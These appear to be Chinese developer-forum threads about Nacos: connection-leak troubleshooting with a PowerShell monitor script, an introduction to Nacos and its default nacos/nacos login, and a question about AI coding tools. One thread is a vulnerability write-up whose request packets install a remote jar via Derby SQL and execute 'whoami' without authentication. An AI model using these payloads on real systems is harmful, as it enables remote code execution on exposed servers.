电脑上的服务无缘无故出现个问题,你们有见过吗?之前我开发这个项目好好的,就是本周启动项目,出现这个问题。 代码里面用的nacos,一直在创建tcp连接,占用端口,直接占用满了,我都把nacos和dubbo的配置都改了,还是这样,只要我启动项目,就会一直涨,直到占满后,服务之间无法再调用了 Caused by: java.lang.IllegalStateException: failed to req API:/nacos/v1/ns/instance after all servers([192.168.7.187:8848]) tried: failed to req API:192.168.7.187:8848/nacos/v1/ns/instance. code:500 msg: [java.net](https://java.net/).**BindException: Address already in use**: connect at [com.alibaba.nacos.client.naming.net](https://com.alibaba.nacos.client.naming.net/).NamingProxy.reqAPI(NamingProxy.java:464) at [com.alibaba.nacos.client.naming.net](https://com.alibaba.nacos.client.naming.net/).NamingProxy.reqAPI(NamingProxy.java:386) at [com.alibaba.nacos.client.naming.net](https://com.alibaba.nacos.client.naming.net/).NamingProxy.registerService(NamingProxy.java:188) at com.alibaba.nacos.client.naming.NacosNamingService.registerInstance(NacosNamingService.java:205) at com.alibaba.nacos.client.naming.NacosNamingService.registerInstance(NacosNamingService.java:184) at org.apache.dubbo.registry.nacos.NacosRegistry.lambda$doRegister$1(NacosRegistry.java:153) at org.apache.dubbo.registry.nacos.NacosRegistry.execute(NacosRegistry.java:466) at org.apache.dubbo.registry.nacos.NacosRegistry.doRegister(NacosRegistry.java:153) at org.apache.dubbo.registry.support.FailbackRegistry.register(FailbackRegistry.java:236) ... 27 common frames omitted 这个里面的服务器地址是内网地址,我本地启动服务调用的是7.187的服务器 我同事启动这个服务,也会涨,但是还会有掉的,我这就是无限上涨不释放。 #requires -Version 5.1 param( [int]$Interval = 5, [int]$WarnThreshold = 100 ) function Get-ServiceName($procId) { try { $proc = Get-CimInstance Win32_Process -Filter “ProcessId = $procId” -ErrorAction SilentlyContinue if ($proc) { $cmd = $proc.CommandLine if ($cmd -match ’ ([a-zA-Z0-9. ]+Application|[a-zA-Z0-9. ]+Main)') { return $matches[1] } if ($cmd -match ‘target\([^\]+).jar’) { return $matches[1] } } $p = Get-Process -Id $procId -ErrorAction SilentlyContinue if ($p) { return $p.ProcessName } } catch {} return “???” } while ($true) { Clear-Host $now = Get-Date -Format “HH:mm:ss” Write-Host “===== Nacos Connection Monitor =====” -ForegroundColor Cyan Write-Host “Time: now Refresh: {Interval}s WarnThreshold: ${WarnThreshold}” -ForegroundColor Gray Write-Host “” $conns = Get-NetTCPConnection -RemotePort 8848 -ErrorAction SilentlyContinue | Where-Object { $_.State -eq 'Established' } if (-not $conns) { Write-Host "No ESTABLISHED connections to Nacos (8848)." -ForegroundColor Green Start-Sleep $Interval continue } $total = $conns.Count $groups = $conns | Group-Object OwningProcess | Sort-Object Count -Descending if ($total -gt 500) { Write-Host "Total connections: $total" -ForegroundColor Red } elseif ($total -gt 200) { Write-Host "Total connections: $total" -ForegroundColor Yellow } else { Write-Host "Total connections: $total" -ForegroundColor Green } Write-Host "" Write-Host ("{0,8} {1,-6} {2,-40} {3}" -f "Count", "PID", "ServiceName", "Status") -ForegroundColor Gray Write-Host ("-" * 75) -ForegroundColor Gray foreach ($g in $groups) { $procId = $g.Name $count = $g.Count $name = Get-ServiceName $procId $status = "OK" $color = "Green" if ($count -gt $WarnThreshold) { $status = "WARN" $color = "Red" } elseif ($count -gt 50) { $status = "HIGH" $color = "Yellow" } $line = "{0,8} {1,-6} {2,-40} {3}" -f $count, $procId, $name, $status Write-Host $line -ForegroundColor $color } Write-Host "" if ($total -gt 500) { Write-Host "[ALERT] Connection storm detected! Total > 500." -ForegroundColor Red } elseif ($total -gt 200) { Write-Host "[WARNING] Total connections are high (>200). Monitor closely." -ForegroundColor Yellow } else { Write-Host "[NORMAL] Connection count looks healthy." -ForegroundColor Green } Start-Sleep $Interval } 是这个脚本监控出来的结果,我也问了两天AI,以及修改nacos的配置,和升级nacos,但是还是有两个服务无法处理 3 个帖子 - 2 位参与者 阅读完整话题
刚刚发的文章被删了,还是发一些之前的其他的简单文章吧,刚刚加入大家见谅 个人理解的漏洞原理:本质实际上就是在20年那个未授权的基础上添加了命令执行,但是也导致了该漏洞的利用条件变得比较苛刻,目前测试需要比较多的条件才能进行漏洞利用** 1. 0day作者的poc地址 https://github.com/ayoundzw/nacos-poc/blob/main/exploit.py 2. poc提取 根据作者的poc,其本质上就是两种poc数据包,下面的poc并不一定可以直接使用,下面漏洞分析的时候会解答 利用该poc去服务器地址远程下载payload代码 POST /nacos/v1/cs/ops/data/removal HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Length: 487 Content-Type: multipart/form-data; boundary=75fe833dc591c841a56f8fcfba0d650f --75fe833dc591c841a56f8fcfba0d650f Content-Disposition: form-data; name="file"; filename="file" CALL sqlj.install_jar('http://服务端地址/download', 'NACOS.pbKZBiXL', 0) CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.pbKZBiXL') CREATE FUNCTION S_EXAMPLE_pbKZBiXL( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec' --75fe833dc591c841a56f8fcfba0d650f-- 调用payload创建的函数去执行(本质上就是利用了20年的sql注入未授权) GET /nacos/v1/cs/ops/derby?sql=select+%2A+from+%28select+count%28%2A%29+as+b%2C+S_EXAMPLE_qejBMrcu%28%27whoami%27%29+as+a+from+config_info%29+tmp+%2F%2AROWS+FETCH+NEXT%2A%2F HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.67 Accept-Encoding: gzip, deflate Accept: */* Connection: close 3. 漏洞复现 3.1. 首先将作者的poc中的config文件和service文件放置到公网服务器上 3.2. 修改config文件中的ip为0.0.0.0(保证flask可以被外网访问) 3.3. 修改本地的config文件中的ip修改为远程服务器的地址 3.4. 运行poc即可 3.5. 复现数据包 3.5.1.1. 数据包1 3.5.1. 数据包2 4. 漏洞分析 总的来说利用难度比较大 1. 需要运气好撞出tmp,利用时间长 2. removal接口没有鉴权 3. 存在20年的sql注入未授权,也就是derby没有鉴权 该漏洞需要撞,才可以成功执行数据包1 下图是我第一次漏洞利用成功的数据包,重发会报错 得不断的去碰撞,才可以实现成功上传 removal接口没有鉴权 在测试到时候发现很多网站都会403,也就无法利用,除非进入后台 5. 作者poc分析 5.1. 碰撞上传 这里的 for i in range(0, sys.maxsize):就是为了进行碰撞上传,sys.maxsize在64位的操作系统中为9223372036854775807,相当于死循环了,来实现对tmp的碰撞 5.2. 两次请求 这里指向的两个请求分别就表示了两次poc数据包 6. 代码优化 1 个帖子 - 1 位参与者 阅读完整话题
参考文档: 什么是Nacos Nacos = Dynamic Naming + Cofiguation services 快速实现 动态服务注册、服务配置、服务元数据、流量管理 Nacos的出现主要解决了一下几个问题: 1. 服务注册与发现 :每个微服务启动的时候hi把自己的IP和端口告诉Nacos,服务之间相互调用的时候,可以通过Nacos来发送服务的IP和端口 2. 动态配置 :代码中的配置文件(application.yml)放在Nacos面板上统一管理,修改配置后,无需重启服务器,所有微服务可实时感知并生效 3. 服务健康检测 :Nacos可以阻止向不健康的主机或服务实例发送请求 Nacos默认启动在本地的8848端口 http://localhost:8848/nacos ,控制台初始默认账号和密码都是:nacos Nacos提供两种部署运行模式:单机模式和集群模式,默认是集群模式。 在本地电脑上打开的时候,找到Nacos安装目录下bin文件夹下的启动脚本startup.cmd,可以修改文件使其以单机模式standalone打开,并且修改Xms = 512mb / 256mb来减少内存占用。 set MODE="standalone" rem if nacos startup mode is standalone if %MODE% == "standalone" ( echo "nacos is starting with standalone" set "NACOS_OPTS=-Dnacos.standalone=true" if "%CUSTOM_NACOS_MEMORY%"=="" ( set "CUSTOM_NACOS_MEMORY=-Xms512m -Xmx512m -Xmn256m" ) set "NACOS_JVM_OPTS=%CUSTOM_NACOS_MEMORY%" ) Nacos单机模式默认使用内置的Derby数据库,可以通过修改conf/application.properties切换为MySQL数据库(推荐切换到MySQL),方便查看数据,支持集群模式。 关于 控制手册 :(下面是我回忆实习的时候接触到的内容,肯定有不足和错误,希望各位佬友指正) 配置列表:Nacos 配置列表就是微服务的"远程配置文件",主要配置技术中间件连接信息和日志,以及多环境差异化配置比如 开发环境dev,测试环境test,预发环境pre,生产环境prod 。 (开发流程:如果开发需要修改配置,需要在任务平台提交相应改动,然后交由对应的测试组,由测试组来进行配置) 服务上下线: 因为在阿里云效上频繁部署流水线会花钱且可能影响其他功能开发,所以本地开发的时候可以通过服务上下线来调用本地服务进行自测。 Nacos 基于Namespace 帮助用户逻辑隔离多个命名空间,可以管理测试、预发、生产等多环境服务和配置,让每个环境的同一个配置(如数据库数据源)可以定义不同的值。 刚进公司的时候,阿里云效,Rancher这些工具看的我头懵,真诚的希望各位佬能提供一下工作/实习中常见的工具/流程,可以为职场新人省去很多时间,感谢。 以后端开发为例,我总结的流程是:任务平台领需求------>写开发需求和组长讨论是否可行------>写API接口文档给前端(项目中也可能直接推送到 Swagger/Yapi/Apifox)------>开发需求并自测------>提交测试(开发环境,测试环境,预发环境)------>接测试提的BUG,然后修BUG------>上线之前写上线计划书,合并分支到master分支------>正式上线,监控日志看看是否有Error/Exception------>没有问题的话,证明该任务已完成。 4 个帖子 - 2 位参与者 阅读完整话题
想问一下佬们平时vibe Coding项目的时候AI好像都读不到nacos配置啊,啊修改方案就是每次把配置改成读本地,但是公司的项目一般都是部署在Nacos上。,这个是怎么解决呢?还有就是Maven好像是有沙箱机制,导致每次编译的时候,AI都不能编译成功,只能在IDEA里面进行打包编译。 3 个帖子 - 3 位参与者 阅读完整话题